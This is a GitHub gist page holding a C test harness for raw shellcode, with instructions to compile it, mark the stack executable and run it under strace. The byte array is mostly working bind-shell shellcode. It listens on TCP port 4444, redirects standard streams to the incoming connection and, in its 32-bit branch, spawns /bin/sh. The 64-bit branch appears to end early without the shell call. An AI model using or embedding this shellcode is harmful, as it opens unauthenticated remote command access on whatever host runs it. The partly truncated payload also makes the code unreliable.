Skip to content

Instantly share code, notes, and snippets.

@vilkoz
Created June 18, 2017 09:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vilkoz/a96044d5836136ccbd334ad5838b59c5 to your computer and use it in GitHub Desktop.
Save vilkoz/a96044d5836136ccbd334ad5838b59c5 to your computer and use it in GitHub Desktop.
to run this:
1. Compile
gcc shell_code_test.c -o shell_code_test
2. Mark binary as requiring executable stack (if you do not have execstack - sudo apt-get install prelink)
execstack -s shell_code_test
3. Run with strace (to see syscalls)
strace ./shell_code_test
char code[]=\
"\x31\xc0\x40\x74\x60\x31\xdb\xf7\xe3\xb0"\
"\x66\xb3\x01\x52\x53\x6a\x02\x89\xe1\xcd"\
"\x80\x89\xc6\xb0\x66\x43\x52\x66\x68\x11"\
"\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"\
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89"\
"\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56"\
"\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0"\
"\x3f\xcd\x80\x49\x79\xf9\x92\x50\x68\x2f"\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"\
"\x50\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd"\
"\x80\x48\x31\xc0\x48\x31\xff\x48\x31\xf6"\
"\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a"\
"\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05"\
"\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52"\
"\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x11"\
"\x5c\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a"\
"\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01"\
"\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48"\
"\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50"\
"\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9"\
"\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a"\
"\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05"\
"\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48";
int main(void)
{
int (*func)();
func = (int(*)())code;
(void)(int)(*func)();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment